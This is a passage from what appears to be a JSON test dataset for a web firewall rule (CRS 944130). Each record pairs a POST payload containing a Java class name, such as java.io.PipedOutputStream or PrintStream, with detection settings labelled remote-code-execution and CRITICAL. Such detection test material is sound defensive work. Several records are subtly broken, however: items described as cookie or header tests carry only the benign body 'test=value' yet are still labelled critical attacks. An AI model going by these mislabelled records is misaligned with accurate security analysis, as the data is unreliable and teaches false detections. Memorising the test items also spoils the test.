"", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.PipedOutputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PipedOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.PipedOutputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.PipedOutputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PipedReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.PipedReader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.PipedReader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.PipedReader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.PipedReader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PipedReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.PipedReader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.PipedReader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.PipedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PrintStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.PrintStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.PrintStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.PrintStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.PrintStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PrintStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.PrintStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.PrintStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.PrintStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PushbackInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.PushbackInputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.PushbackInputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { 